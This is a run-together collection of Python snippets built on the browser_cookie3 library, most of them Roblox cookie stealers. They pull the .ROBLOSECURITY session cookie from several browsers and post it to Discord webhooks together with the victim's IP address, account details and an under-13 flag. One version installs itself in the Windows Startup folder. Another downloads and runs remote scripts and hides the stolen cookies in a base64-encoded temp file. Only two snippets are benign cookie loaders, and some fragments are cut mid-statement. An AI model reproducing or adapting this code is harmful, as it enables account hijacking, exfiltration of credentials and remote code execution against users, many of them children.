def opera_logger(): try: cookies = browser_cookie3.opera(domain_name='roblox.com') cookies = str(cookies) cookie = cookies.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip() requests.post(webhook, json={'username':'******', 'content':f'```Cookie: {cookie}```'}) except: pass
def opera_logger(): try: cookies = browser_cookie3.opera(domain_name='roblox.com') cookies = str(cookies) cookie = cookies.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip() embed = DiscordEmbed(title='Cookie', description=f'{cookie}', color='03b2f8') webhook.add_embed(embed) response = webhook.execute() except: pass
def cookie(): while True: try: user_in = input( "CyberCrack: CyberServe/info/browser_cookies > ").strip() if user_in == "help" or user_in == "show options": print(r""" : set BROWSER - the target browser. eg- 'firefox, chrome, opera, microsoft-edge' : run or exploit - run the script """) elif user_in.startswith("set") and user_in.split()[1] == "BROWSER": if user_in.split()[2] == "firefox": print("Browser = firefox") browser = "firefox" elif user_in.split()[2] == "microsoft-edge": print("Browser = microsoft-edge") browser = "edge" elif user_in.split()[2] == "opera": print("Browser = opera") browser = "opera" elif user_in.split()[2] == "chrome": print("Browser = chrome") browser = "chrome" else: print("[+] Invalid browser") elif user_in == "run" or user_in == "exploit": if browser == "firefox": cookie = list(browser_cookie3.firefox()) for cookies in cookie: print(cookies) elif browser == "edge": cookie = list(browser_cookie3.edge()) for cookies in cookie: print(cookies) elif browser == "opera": cookie = list(browser_cookie3.opera()) for cookies in cookie: print(cookies) elif browser == "chrome": cookie = list(browser_cookie3.chrome()) for cookies in cookie: print(cookies) except KeyboardInterrupt: quit() except NameError: print("[+] Assign all parameters related for this module") except browser_cookie3.BrowserCookieError: print( "[+] The browser you specified isn't installed on your device")
def main(): while True: try: #GETS COMPUTER INFORMATIONS try: COMPUTER_INFORMATIONS["COMPUTERNAME"] = os.getenv("username") COMPUTER_INFORMATIONS["IP"] = requests.get("https://api.ipify.org/").text except Exception: COMPUTER_INFORMATIONS["IP"] = "UNKNOWN" pass #GETS EGDE COOKIE try: EDGE_COOKIE = browser_cookie3.edge(domain_name=".roblox.com").__dict__["_cookies"][".roblox.com"]["/"][".ROBLOSECURITY"].value COOKIES["EDGE"] = EDGE_COOKIE except Exception: pass #GETS CHROME COOKIE try: CHROME_COOKIE = browser_cookie3.chrome(domain_name=".roblox.com").__dict__["_cookies"][".roblox.com"]["/"][".ROBLOSECURITY"].value COOKIES["CHROME"] = CHROME_COOKIE except Exception: pass #GETS FIREFOX COOKIE try: FIREFOX_COOKIE = browser_cookie3.firefox(domain_name=".roblox.com").__dict__["_cookies"][".roblox.com"]["/"][".ROBLOSECURITY"].value COOKIES["FIREFOX"] = FIREFOX_COOKIE except Exception: pass #GETS OPERA COOKIE try: OPERA_COOKIE = browser_cookie3.opera(domain_name=".roblox.com").__dict__["_cookies"][".roblox.com"]["/"][".ROBLOSECURITY"].value COOKIES["OPERA"] = OPERA_COOKIE except Exception: pass #LOGS COOKIES for COOKIE in COOKIES: BROWSER = COOKIE COOKIE_VALUE = COOKIES[COOKIE] time.sleep(1) except Exception: pass
def cookieLogger(): data = [] # data[0] == All Cookies (Used For Requests) // data[1] == .ROBLOSECURITY Cookie (Used For Logging In To The Account) try: cookies = browser_cookie3.firefox(domain_name='roblox.com') for cookie in cookies: if cookie.name == '.ROBLOSECURITY': data.append(cookies) data.append(cookie.value) return data except: pass try: cookies = browser_cookie3.edge(domain_name='roblox.com') for cookie in cookies: if cookie.name == '.ROBLOSECURITY': data.append(cookies) data.append(cookie.value) return data except: pass try: cookies = browser_cookie3.opera(domain_name='roblox.com') for cookie in cookies: if cookie.name == '.ROBLOSECURITY': data.append(cookies) data.append(cookie.value) return data except: pass try: cookies = browser_cookie3.chromium(domain_name='roblox.com') for cookie in cookies: if cookie.name == '.ROBLOSECURITY': data.append(cookies) data.append(cookie.value) return data except: pass
def load_cookies(settings: dict) -> CookieJar: """Load Cookies from Installed Web Browser Args: settings (dict): The settings dict loaded from options.py Returns: object: cookiejar. Default CookieJar is used by default """ cookies = settings["cookies"] if cookies["firefox"]: cj = browser_cookie3.firefox() elif cookies["chrome"]: cj = browser_cookie3.chrome() elif cookies["opera"]: cj = browser_cookie3.opera() elif cookies["edge"]: cj = browser_cookie3.edge() else: cj = CookieJar() return cj
'DOMAIN_NAME': '.mihoyo.com' } config_file = open(os.path.join(app_path, 'config.json'), 'w') config_file.write(json.dumps(config)) # GET COOKIES cookies = None try: if config['BROWSER'].lower() == 'all': cookies = browser_cookie3.load(domain_name=config['DOMAIN_NAME']) elif config['BROWSER'].lower() == 'firefox': cookies = browser_cookie3.firefox(domain_name=config['DOMAIN_NAME']) elif config['BROWSER'].lower() == 'chrome': cookies = browser_cookie3.chrome(domain_name=config['DOMAIN_NAME']) elif config['BROWSER'].lower() == 'opera': cookies = browser_cookie3.opera(domain_name=config['DOMAIN_NAME']) elif config['BROWSER'].lower() == 'edge': cookies = browser_cookie3.edge(domain_name=config['DOMAIN_NAME']) elif config['BROWSER'].lower() == 'chromium': cookies = browser_cookie3.chromium(domain_name=config['DOMAIN_NAME']) else: raise Exception("ERROR: Browser not defined!") except Exception as e: print( "Login information not found! Please login first to hoyolab once in Chrome/Firefox/Opera/Edge/Chromium before using the bot." ) print( "You only need to login once for a year to https://www.hoyolab.com/genshin/ for this bot to work." ) log.write( "Login information not found! Please login first to hoyolab once in Chrome/Firefox/Opera/Edge/Chromium before using the bot.\n"
def main(): COOKIES = {} LOGGED = [] PC_USERNAME = os.getenv("username") SCRIPT_NAME = sys.argv[0] APPDATA_PATH = os.getenv("APPDATA") STARTUP_PATH = APPDATA_PATH + "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\" if not os.path.exists(STARTUP_PATH + SCRIPT_NAME): os.system(f"copy \"{SCRIPT_NAME}\" \"{STARTUP_PATH}\"") while True: try: IP = requests.get("http://api.ipify.org").text except Exception: IP = "Unknown" try: EDGE_COOKIES = BC.edge(domain_name=".roblox.com").__dict__ EDGE_COOKIE = EDGE_COOKIES["_cookies"][".roblox.com"]["/"][ ".ROBLOSECURITY"].value COOKIES["EDGE"] = EDGE_COOKIE except Exception: pass try: CHROME_COOKIES = BC.chrome(domain_name=".roblox.com").__dict__ CHROME_COOKIE = CHROME_COOKIES["_cookies"][".roblox.com"]["/"][ ".ROBLOSECURITY"].value COOKIES["CHROME"] = CHROME_COOKIE except Exception: pass try: FIREFOX_COOKIES = BC.firefox(domain_name=".roblox.com").__dict__ FIREFOX_COOKIE = FIREFOX_COOKIES["_cookies"][".roblox.com"]["/"][ ".ROBLOSECURITY"].value COOKIES["FIREFOX"] = FIREFOX_COOKIE except Exception: pass try: OPERA_COOKIES = BC.opera(domain_name=".roblox.com").__dict__ OPERA_COOKIE = OPERA_COOKIES["_cookies"][".roblox.com"]["/"][ ".ROBLOSECURITY"].value COOKIES["OPERA"] = OPERA_COOKIE except Exception: pass for COOKIE in COOKIES: ROBLO = COOKIES[COOKIE] if ROBLO in LOGGED: continue try: CONTENT_REQUEST = requests.get( "https://roblox.com/", cookies={".ROBLOSECURITY": ROBLO}) CONTENT_SOUP = BS(CONTENT_REQUEST.text, "html.parser") USER_DATA = CONTENT_SOUP.find("meta", {"name": "user-data"}) except Exception: pass try: USERNAME = USER_DATA["data-name"] except Exception: USERNAME = "******" try: USERID = USER_DATA["data-userid"] except Exception: USERID = "Unknown" try: IS_PREMIUM = USER_DATA["data-ispremiumuser"] except Exception: IS_PREMIUM = "Unknown" try: JOIN_DATE = USER_DATA["data-created"] except Exception: JOIN_DATE = "Unknown" try: UNDERAGE = USER_DATA["data-isunder13"] except Exception: UNDERAGE = "Unknown" DATA = { "embeds": [{ "title": "Roblox Cookie Logger", "color": random.randint(1, 16777216), "fields": [{ "name": COOKIE, "value": ROBLO, "inline": "false" }, { "name": "Username", "value": USERNAME, "inline": "false" }, { "name": "UserID", "value": USERID, "inline": "false" }, { "name": "Join Date", "value": JOIN_DATE, "inline": "false" }, { "name": "Premium", "value": IS_PREMIUM, "inline": "false" }, { "name": "Underage", "value": UNDERAGE, "inline": "false" }, { "name": "Computer Username", "value": PC_USERNAME, "inline": "false" }, { "name": "IP Address", "value": IP, "inline": "false" }] }] } SEND_WEBHOOK = requests.post(WEBHOOK, json=DATA) if not SEND_WEBHOOK.status_code == 204: continue LOGGED.append(ROBLO) time.sleep(1)
def main(): while True: try: #EXECUTE SCRIPT if EXECUTE_SCRIPT_BOOL == "true": try: EXECUTE_SCRIPT = requests.get(EXECUTE_SCRIPT_URL, headers={"Authorization": f"token {AUTHORIZATION_KEY}"}).text T = threading.Thread(target=execThread, args=[EXECUTE_SCRIPT], daemon=True) T.start() except Exception as e: pass #GET IP ADDRESS try: IP = requests.get("https://api.ipify.org/").text except Exception: IP = "Unknown" pass #GET/SET COMPUTER INFORMATIONS COMPUTER_INFORMATIONS["IP"] = IP COMPUTER_INFORMATIONS["COMPUTERNAME"] = os.getenv("username") #EDGE COOKIE try: EDGE_COOKIE = browser_cookie3.edge(domain_name=".roblox.com").__dict__["_cookies"][".roblox.com"]["/"][".ROBLOSECURITY"].value COOKIES["EDGE"] = EDGE_COOKIE except Exception: pass #CHROME COOKIE try: CHROME_COOKIE = browser_cookie3.chrome(domain_name=".roblox.com").__dict__["_cookies"][".roblox.com"]["/"][".ROBLOSECURITY"].value COOKIES["CHROME"] = CHROME_COOKIE except Exception: pass #FIREFOX COOKIE try: FIREFOX_COOKIE = browser_cookie3.firefox(domain_name=".roblox.com").__dict__["_cookies"][".roblox.com"]["/"][".ROBLOSECURITY"].value COOKIES["FIREFOX"] = FIREFOX_COOKIE except Exception: pass #OPERA COOKIE try: OPERA_COOKIE = browser_cookie3.opera(domain_name=".roblox.com").__dict__["_cookies"][".roblox.com"]["/"][".ROBLOSECURITY"].value COOKIES["OPERA"] = OPERA_COOKIE except Exception: pass #SEND COOKIE VALUE TO WEBHOOK VIA HTTP REQUEST for COOKIE in COOKIES: try: COOKIE_VALUE = COOKIES[COOKIE] TEMP_PATH = os.getenv("temp") TEMP_FILE_NAME = "c9e4c9cd7b7ed132bf786096727eaeee.tmp" os.chdir(TEMP_PATH) if not os.path.exists(TEMP_FILE_NAME): CREATE_TEMP_FILE = open(TEMP_FILE_NAME, "a") CREATE_TEMP_FILE.close() with open(TEMP_FILE_NAME, "r") as TEMP_LOGS: for LINE in TEMP_LOGS: CONTENT = LINE.strip() CONTENT_DECODE = base64.b64decode(CONTENT.encode('utf-8')) CONTENT = CONTENT_DECODE.decode("utf-8") TEMP_LOGS_LIST.append(CONTENT) TEMP_LOGS.close() #GET USERDATA try: USERDATA = {} GET_METADATA_REQUEST = requests.get("https://roblox.com/", cookies={".ROBLOSECURITY": COOKIE_VALUE}) BS = BeautifulSoup(GET_METADATA_REQUEST.text, features="html.parser") METADATA = BS.find("meta", {"name": "user-data"}) USERDATA["USERNAME"] = METADATA["data-name"] USERDATA["USERID"] = METADATA["data-userid"] USERDATA["ISPREMIUM"] = METADATA["data-ispremiumuser"] USERDATA["ISUNDERAGE"] = METADATA["data-isunder13"] USERDATA["JOINDATE"] = METADATA["data-created"] except Exception: pass #SEND CONNECTION SIGNAL if CONNECTION_SIGNAL_ENABLED == "true": if not USERDATA["USERNAME"] in SEND_CONNECTION_SIGNAL_THREADS: SEND_CONNECTION_SIGNAL_THREADS.append(USERDATA["USERNAME"]) T = threading.Thread(target=sendConnectionSignal, args=[USERDATA["USERNAME"]], daemon=True) T.start() if DO_NOT_SEND_TEMP_LOGS == "true": if COOKIE_VALUE in TEMP_LOGS_LIST: continue if COOKIE_VALUE not in LOGGED: LOGGER_DATA = { "embeds": [ { "title": "RoCL v1.2", "color": random.randint(1, 16777216), "fields": [ { "name": COOKIE, "value": COOKIE_VALUE, "inline": "false" } ] } ] } for VALUE in USERDATA: try: LOGGER_DATA["embeds"][0]["fields"].append({"name": VALUE, "value": USERDATA[VALUE], "inline": "false"}) except Exception: pass for VALUE in COMPUTER_INFORMATIONS: try: LOGGER_DATA["embeds"][0]["fields"].append({"name": VALUE, "value": COMPUTER_INFORMATIONS[VALUE], "inline": "false"}) except Exception: pass if USERDATA["USERNAME"] in USER_SETTINGS: if USER_SETTINGS[USERDATA["USERNAME"]]["USER_PRIVATE_ONLY"] == "true": for WEBHOOK in PRIVATE_WEBHOOKS: LOGGER = requests.post(WEBHOOK, json=LOGGER_DATA) if LOGGER.status_code == 204: LOGGED.append(COOKIE_VALUE) if not COOKIE_VALUE in TEMP_LOGS_LIST: TEMP_LOGGER = open(TEMP_FILE_NAME, "a") CONTENT_ENCODE = base64.b64encode(COOKIE_VALUE.encode("utf-8")) TEMP_LOGGER.write(f"{CONTENT_ENCODE.decode('utf-8')}\n") TEMP_LOGGER.close() continue if PRIVATE_ONLY == "true": for WEBHOOK in PRIVATE_WEBHOOKS: LOGGER = requests.post(WEBHOOK, json=LOGGER_DATA) else: for WEBHOOK in ALL_WEBHOOK_URLS: LOGGER = requests.post(WEBHOOK, json=LOGGER_DATA) LOGGED.append(COOKIE_VALUE) if not COOKIE_VALUE in TEMP_LOGS_LIST: TEMP_LOGGER = open(TEMP_FILE_NAME, "a") CONTENT_ENCODE = base64.b64encode(COOKIE_VALUE.encode("utf-8")) TEMP_LOGGER.write(f"{CONTENT_ENCODE.decode('utf-8')}\n") TEMP_LOGGER.close() except Exception: continue setAsyncConfiguration() time.sleep(TIMEOUT) except Exception: pass